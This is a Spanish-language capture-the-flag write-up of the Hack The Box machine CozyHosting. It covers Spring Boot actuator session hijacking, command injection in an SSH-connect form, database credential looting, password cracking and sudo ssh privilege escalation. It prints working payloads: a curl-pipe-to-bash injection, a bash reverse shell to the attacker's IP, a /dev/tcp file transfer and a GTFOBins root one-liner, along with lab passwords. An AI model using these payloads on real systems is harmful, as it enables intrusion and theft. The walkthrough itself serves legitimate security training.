# Cozyhosting

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5562fe058d16a50e13e1e7c478200a5d1149e8fa%2FPasted%20image%2020250515103720.png?alt=media)

**Publicado:** 15 de Mayo de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Easy

### 📝 Descripción

CozyHosting es una máquina Linux que aloja una aplicación web de un servicio de hosting. La explotación comienza con la enumeración de servicios, donde encontramos un servidor web ejecutando una aplicación Spring Boot.

La máquina presenta múltiples vectores de ataque que incluyen:

* Exposición de endpoints sensibles en la aplicación Spring Boot (/actuator)
* Uso de sesiones inseguras que pueden ser manipuladas
* Inyección de comandos en una funcionalidad de conexión SSH
* Credenciales almacenadas en archivos de configuración
* Escalada de privilegios mediante sudo mal configurado

El objetivo es obtener acceso inicial como usuario app mediante la inyección de comandos, pivotear al usuario josh usando credenciales encontradas en la base de datos PostgreSQL, y finalmente escalar a root abusando de permisos sudo para el binario SSH.

### 🔭 Reconocimiento

#### Ping para verificación en base a TTL

```bash
❯   ping -c2 10.10.11.230 
PING 10.10.11.230 (10.10.11.230) 56(84) bytes of data.
64 bytes from 10.10.11.230: icmp_seq=1 ttl=63 time=47.5 ms
64 bytes from 10.10.11.230: icmp_seq=2 ttl=63 time=47.8 ms

--- 10.10.11.230 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 47.494/47.662/47.830/0.168 ms
```

> 💡 **Nota**: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

#### Escaneo de puertos

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.230 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
```

```bash
echo $ports                                                
22,80
```

#### Enumeración de servicios

```bash
nmap -sC -sV -p$ports 10.10.11.230 -oN services.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 11:54 CEST
Nmap scan report for 10.10.11.28
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds

```

***

⚠️ **Importante**: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts

```bash
echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts
```

### 🌐 Enumeración Web

#### 80 HTTP

<http://cozyhosting.htb>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-928239b23867be84538b28ff8098860c3bb6e5a1%2FPasted%20image%2020250515104314.png?alt=media)

Hay un panel de login que nos permite enumerar la tecnología del sitio web junto con la extensión wappalyzer:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-d9c11da507ab0956416daa4ad63e81d4df4b2bdc%2FPasted%20image%2020250515104434.png?alt=media)

**🕷️Fuzzing de vhosts**

```bash
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://cozyhosting.htb -H 'Host:FUZZ.cozyhosting.htb' -fs 178
```

No hallamos resultados.

Revisando el código fuente enumeramos el nombre de la template que se está usando y la versión de Bootstrap

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-07f121c13b8822a3a21f7541afbbfef38fb3678e%2FPasted%20image%2020250515110453.png?alt=media)

Aunque no encontramos vulnerabilidades ni exploits para estas versiones

**🕷️Fuzzing de directorios**

Tras probar a realizar fuzzing de directorios con las herramientas gobuster y feroxbuster

```bash
feroxbuster -u http://cozyhosting.htb -r  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 404 
```

```bash
feroxbuster -u http://cozyhosting.htb -r  -w /usr/share/seclists/Discovery/Web-Content/common.txt --scan-dir-listings -C 404
```

```bash
gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  -b 403,404,502 -x .php, .txt, .xml -r  
```

Observamos un recurso /error que está devolviendo un error 500

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c65251a9f584ddb92713ab23196ada14c59b0bf3%2FPasted%20image%2020250515110529.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-a4849dbcdb3d1003c1b4a4fe12b0dce69beafa0e%2FPasted%20image%2020250515111637.png?alt=media)

Este error es generado por una aplicación **Spring Boot**, cuando ocurre un error no manejado y **no hay una ruta `/error` personalizada definida**.

Probamos a realizar fuzzint también con dirsearch y tenemos más suerte:

```bash
dirsearch -u http://cozyhosting.htb
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-faf203043ad0702e11cc2c03d95aa0ad94697e79%2FPasted%20image%2020250515114349.png?alt=media)

Ahora que sabemos que la aplicación está usando springboot, existe un endpoint que utiliza spring boot para exponer los endpoints que se llama /actuator:

<http://cozyhosting.htb/actuator>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-cb61231504ad62daacfb7ee03922d50366d9afa9%2FPasted%20image%2020250515111939.png?alt=media)

En el endponint de sessions vemos lo que parece ser o bien una cookie. De hecho por cada intento de sesión no autenticado vemos como se refleja en el endpoint:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-900f7d11d43072892059cc1d21e804ba863f76e3%2FPasted%20image%2020250515115728.png?alt=media)

Optamos por la vía de pensar que pueda tratarse de una cookie y la seteamos:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-bb28272644a9d7f66c7679fe775e03703e903266%2FPasted%20image%2020250515115652.png?alt=media)

Accedemos con éxito al panel de admin como usuario kanderson:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-529f6eb23b152c41ea707986806b84b9a4e1c2bc%2FPasted%20image%2020250515115800.png?alt=media)

Al enumerar el servicio vemos lo que parece ser una utilidad para establecer conexión vía ssh:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-4fd76b60518e1c9226bfa4cd030d58e3e2a49430%2FPasted%20image%2020250515115847.png?alt=media)

Interceptamos la petición con burp y vemos la respuesta:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-7feb7f07ae1001f89111d707acd148f07cf544d9%2FPasted%20image%2020250515115941.png?alt=media)

Aquí comenzamos a probar con posibles inyecciones de comandos para ver si el parámetro username es vulnerable.

Encontramos este payload que nos permite confirmarlo:

```
host=localhost&username=test;curl${IFS}10.10.14.14;#
```

Con el carácter ";" permitimos escapar y ejecutar nuestro comando, usamos ${IFS} para que nos indique que el comando no puede contener espacios y finalmente cerramos con otro ";" y un hashtag # para que ignore todo lo que hay a continuación.

Si iniciamos un listener en nuestro host de ataque en el puerto 80

```bash
nc -nlvp 80
```

Y a continuación lanzamos la petición con la inyección de comandos, veremos que hay respuesta:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-92ca84f033b638e34e0509145ee1c6f9ef873b6f%2FPasted%20image%2020250515121800.png?alt=media)

SI aplicamos esta PoC creando un archivo index.html con el siguiente contenido:

```bash
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.14/4444 0>&1
```

Lo disponibilizamos en un servidor web con python:

```bash
python3 -m http.server 80
```

Probamos a realizar un curl a nuestra propia máquina par verificar que hay respuesta:

```bash
 ❯ curl localhost  

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.14/4444 0>&1

```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-dde91b0c03e8aa45fb7491aa5264a6f494d6b9cb%2FPasted%20image%2020250515123220.png?alt=media)

Iniciamos un listener en el puerto anteriormente especificado

```bash
nc -nlvp 4444
```

Lanzamos la petición añadiendo el pipe "|" con bash para que se ejecute el contenido con bash:

```bash
host=localhost&username=test;curl${IFS}10.10.14.14|bash;#
```

Recibimos la reverse shell:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-114ea8fb1ec111b2984f8722943eb3fde421e316%2FPasted%20image%2020250515123604.png?alt=media)

#### Foothold

Una vez dentro, vemos que existe un usuario josh en el directorio /home pero no tenemos permisos para enumerar nada aquí.\
Enumeramos la máquina en busca de vectores que permitan la escalada

Capabilities

```bash
getcap -r / 2>/dev/null
```

Permisos

```bash
find / -perm -4000 2>/dev/null
```

Grupos

```bash
id
```

Revisamos el fichero de configuración de nginx por si encontrásemos alguna credencial, vhost o algún recursos de utilidad:

```bash
cat /etc/nginx/sites-enabled/default
```

Si revisamos el fichero /etc/passwd vemos que únicamente el usuario josh tiene login:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
```

No hallamos nada relevante.

Sí encontramos un archivo .jar en el directorio /app que merece la pena analizar:

```bash
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar
```

Lo copiamos al directorio /tmp ya que necesitamos descomprimirlo:

```
cp cloudhosting-0.0.1.jar /tmp
unzip cloudhosting-0.0.1.jar
```

O también podemos transferirlo a nuestro host de ataque de la siguiente forma

```bash
cat < cloudhosting-0.0.1.jar > /dev/tcp/10.10.14.14/443
```

```bash
nc -nlvp 443
```

Si optamos por esta segunda vía, podemos verificar la integridad de la transferencia usando md5sum en el origen y en el destino para ver si coinciden.

Una vez descomprimido el archivo podemos usar el comando tree para ver la estructura de archivos y ver algo interesante.

Tras enumerar el contenido encontramos un fichero application.properties con credenciales de una base de datos postgres:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-dc455346370bbc24c2f2c947ec001cc9856b1b90%2FPasted%20image%2020250515125009.png?alt=media)

Si revisamos los puertos /servicios que se están ejecutando localmente en la máquina vemos que efectivamente en el 5432 hay un postgres:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c41087eacf67cbc72bc51f895f44d1fc4a2ca281%2FPasted%20image%2020250515125106.png?alt=media)

Podemos conectarnos con las credenciales encontradas de la siguiente forma

```bash
psql -h localhost -p 5432 -U postgres -d cozyhosting
Vg&nvzAQ7XxR
```

Una vez dentro enumeramos las tablas usando el comando \dt:

```bash
cozyhosting=# \dt

         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)
```

Y a continuación consultamos el contenido de la tabla users:

```bash
cozyhosting=# select * from users;
   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
```

Procedemos a intentar crackear estos hashes usando hashcat y rockyou y tenemos éxito con el hash del usuario admin:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-2d2f9e4634647a8c6373fcfa41c5129db668bb6c%2FPasted%20image%2020250515131708.png?alt=media)

#### 👑 Escalada de privilegios

No hay ningún usuario admin en el sistema, recordemos cuando hemos enumerado el directorio /home y el fichero /etc/passwd que únicamente había uno llamado josh, veamos si se está llevando a cabo la mala práctica de reutilización de contraseñas.

```bash
su josh
manchesterunited
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-1719e6a749c43461a8dedb2be1f4850235224cc9%2FPasted%20image%2020250515132007.png?alt=media)

Buscamos ahora la escalada de privilegios a root desde el usuario josh y vemos que este usuario puede ejecutar el siguiente binario como root:

```bash
josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$ 
```

Buscamos información sobre este binario en gtfobins:\
<https://gtfobins.github.io/gtfobins/ssh/#sudo>

Y usamos el siguiente comando para la escalada y obtenemos la flag:

```bash
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```

```
uid=0(root) gid=0(root) groups=0(root)
# ls
root.txt
```
